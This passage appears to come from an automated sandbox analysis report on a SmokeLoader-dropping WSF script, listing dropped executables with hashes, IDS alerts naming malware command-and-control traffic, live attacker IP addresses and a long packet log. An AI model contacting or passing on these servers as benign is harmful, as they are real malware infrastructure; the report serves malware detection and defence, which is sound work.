	sora.arm.elf	Get hash	malicious	Mirai	Browse	83.147.57.108
	F24_023.pdf (1).js	Get hash	malicious	Unknown	Browse	83.147.53.197
	F24_023.pdf.js	Get hash	malicious	Unknown	Browse	83.147.53.197
	F24_023.pdf.js	Get hash	malicious	Unknown	Browse	83.147.53.197

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\oBuf.exe	UkHkCa3IYV.wsf	Get hash	malicious	SmokeLoader	Browse
	3312.PDF.wsf	Get hash	malicious	SmokeLoader	Browse
	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse
	3388.PDF.hta	Get hash	malicious	SmokeLoader	Browse
C:\Users\user\AppData\Roaming\tesubba	UkHkCa3IYV.wsf	Get hash	malicious	SmokeLoader	Browse
	3312.PDF.wsf	Get hash	malicious	SmokeLoader	Browse
	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse
	3388.PDF.hta	Get hash	malicious	SmokeLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ibofste.wvx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qcaxh05i.peg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\oBuf.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	222720
Entropy (8bit):	6.497652873737398
Encrypted:	false
SSDEEP:	3072:cCLQUfn8SJGo/zUYkkf0ivpXYXgNTe58xVSlh+jMAEqLJwp:cCL3fnNMEzUpkbvpIMjMAcp
MD5:	31059E7394B880F017E83804D9B716AB
SHA1:	2C0057C276D7D2020D1E5A60CA6D44E2FB91674E
SHA-256:	F488B4EB65D5F5339401FC0869E614433719E64A5156945B530F98C7D39452E1
SHA-512:	A31E40888FC80CE8E138833155A63EDDC7EA9D4A37BCEB95A46E2CE937E42DFC74DF34FC9869F95940EE0F73D00F3A72839F220F09499B4F28AA1B91E5B706F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Joe Sandbox View:	Filename: UkHkCa3IYV.wsf, Detection: malicious, Browse Filename: 3312.PDF.wsf, Detection: malicious, Browse Filename: RmbF3635xY.exe, Detection: malicious, Browse Filename: 3388.PDF.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........IB...B...B...\...^...\...Q...\.......eu..E...B...2...\...C...\...C...\...C...RichB...........................PE..L....`Ie.....................d....................@.........................................................................D...P....P.....................................................X........................................................text....~.......................... ..`.rdata.." ......."..................@..@.data...............................@....tls.........@......................@....rsrc.......P......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\tesubba

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	222720
Entropy (8bit):	6.497652873737398
Encrypted:	false
SSDEEP:	3072:cCLQUfn8SJGo/zUYkkf0ivpXYXgNTe58xVSlh+jMAEqLJwp:cCL3fnNMEzUpkbvpIMjMAcp
MD5:	31059E7394B880F017E83804D9B716AB
SHA1:	2C0057C276D7D2020D1E5A60CA6D44E2FB91674E
SHA-256:	F488B4EB65D5F5339401FC0869E614433719E64A5156945B530F98C7D39452E1
SHA-512:	A31E40888FC80CE8E138833155A63EDDC7EA9D4A37BCEB95A46E2CE937E42DFC74DF34FC9869F95940EE0F73D00F3A72839F220F09499B4F28AA1B91E5B706F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Joe Sandbox View:	Filename: UkHkCa3IYV.wsf, Detection: malicious, Browse Filename: 3312.PDF.wsf, Detection: malicious, Browse Filename: RmbF3635xY.exe, Detection: malicious, Browse Filename: 3388.PDF.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........IB...B...B...\...^...\...Q...\.......eu..E...B...2...\...C...\...C...\...C...RichB...........................PE..L....`Ie.....................d....................@.........................................................................D...P....P.....................................................X........................................................text....~.......................... ..`.rdata.." ......."..................@..@.data...............................@....tls.........@......................@....rsrc.......P......................@..@........................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Unicode text, UTF-8 text, with very long lines (1251), with CRLF line terminators
Entropy (8bit):	4.763725133160798
TrID:
File name:	w4DO1Z18yg.wsf
File size:	230'401 bytes
MD5:	4f6cb09e56494f178fd06ee05c3880ac
SHA1:	45810dc8fa00d54a302d8ea5a7563a21c93c94f4
SHA256:	5c7d582ba61ac95fb0d330ecc05feeb4853ac1de1f5a6fd12df6491dd0b7ea34
SHA512:	ab4ccc4d21d4d719e3c9fbc447d79b6ede14a82dd0ecd162d729805cd8033163484c3464cbcab0a3d9084742004edcfecda6f8901dd2ffa5e3f27b7e495c32b7
SSDEEP:	1536:DP4ANQd3mqQmBB10kZzt8zxcsw07HdB8S+OFPN6EZLS8+EKa/GeQP4ANQd3mqQmY:yBj5GsTwPMOS8+UBj5GsTwPMOS8+O
TLSH:	D534931E9B4713F5432343D259CA6CE6FB64613DE35FE95478288F6C6212C2893BA8DC
File Content Preview:	..Wikisource was created as a separate project on 24 November 2003, to host free textual sources as its aim in multiple languages and translations.....2004....In March 2000, the Nupedia project was started. Its intention was to publish articles written by

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T16:36:36.183779+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49699	193.46.217.78	80	TCP
2024-10-04T16:37:06.339157+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.7	49845	193.46.217.78	80	TCP
2024-10-04T16:37:07.718485+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.7	49856	188.40.141.211	80	TCP
2024-10-04T16:37:08.097751+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.7	49856	188.40.141.211	80	TCP
2024-10-04T16:37:32.793927+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.7	49974	193.46.217.78	80	TCP
2024-10-04T16:37:33.144894+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.7	49856	188.40.141.211	80	TCP
2024-10-04T16:37:33.535419+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.7	49856	188.40.141.211	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 16:36:35.213253975 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:35.219275951 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:35.219367981 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:35.220380068 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:35.230104923 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.183665037 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.183700085 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.183711052 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.183728933 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.183739901 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.183749914 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.183760881 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.183779001 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.183824062 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.183960915 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.184005976 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.185261011 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.185349941 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.185395002 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.189021111 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.189037085 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.189049959 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.189110041 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.238228083 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.342982054 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.343005896 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.343019009 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.343030930 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.343067884 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.343125105 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.343326092 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.343338966 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.343350887 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.343380928 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.343836069 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.343848944 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.343858957 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.343869925 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.343887091 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.343925953 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.345133066 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.345145941 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.345156908 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.345166922 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.345181942 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.345211983 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.345680952 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.345695972 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.345706940 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.345736980 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.345757008 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.345761061 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.346411943 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.346456051 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.346514940 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.346528053 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.346565008 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.346592903 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.351275921 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.351347923 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.509258032 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.509315968 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.509329081 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.509397030 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.509407043 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.509418964 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.509442091 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.509478092 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.509478092 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.510267019 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.510277987 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.510301113 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.510310888 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.510338068 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.510358095 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.510514021 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.510525942 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.510535002 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.510545969 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.510556936 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.510591030 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.510715008 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.510796070 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.510806084 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.510839939 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.511068106 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.511110067 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.511112928 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.512676001 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.512725115 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.512723923 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.512737036 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.512748003 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.512758970 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.512779951 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.512799025 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.515455961 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515466928 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515477896 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515487909 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515536070 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.515563965 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.515604973 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515616894 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515625954 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515636921 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515647888 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515657902 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515666962 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.515671015 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515682936 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515695095 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515696049 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.515707016 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515712023 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515716076 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.515719891 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515777111 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.515894890 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515904903 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.515957117 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.516024113 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.516036034 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.516076088 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.516495943 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.516506910 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.516515970 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.516542912 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.516670942 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.516681910 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.516690969 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.516726971 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.662724972 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.662772894 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.662806988 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.662831068 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.663172960 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.663206100 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.663238049 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.663243055 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.663270950 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.663291931 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.663305044 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.663335085 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.663348913 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.663367033 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.663410902 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.663453102 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.663486004 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.663517952 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.663533926 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.663554907 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.663609982 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664002895 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664036036 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664084911 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664088964 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664113998 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664161921 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664165974 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664196014 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664225101 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664241076 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664261103 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664278984 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664328098 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664352894 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664361000 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664374113 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664392948 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664429903 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664439917 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664441109 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664475918 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664491892 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664522886 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664540052 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664546967 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664572954 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664604902 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664635897 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664666891 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664696932 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664696932 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664697886 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664731979 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664741993 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664762974 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664796114 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664813995 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664827108 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664859056 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664870977 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664892912 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664925098 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664957047 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664972067 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.664989948 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.664994955 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.665021896 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665060997 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665067911 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.665071964 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665106058 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665118933 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.665137053 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665169001 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665199041 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665201902 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.665232897 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665245056 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.665266037 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665297985 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665311098 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.665329933 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665363073 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665373087 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.665395975 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665426970 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665457964 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665466070 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.665493011 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.665539026 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.672458887 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672473907 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672485113 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672494888 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672509909 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672521114 CEST	80	49699	193.46.217.78	192.168.2.7
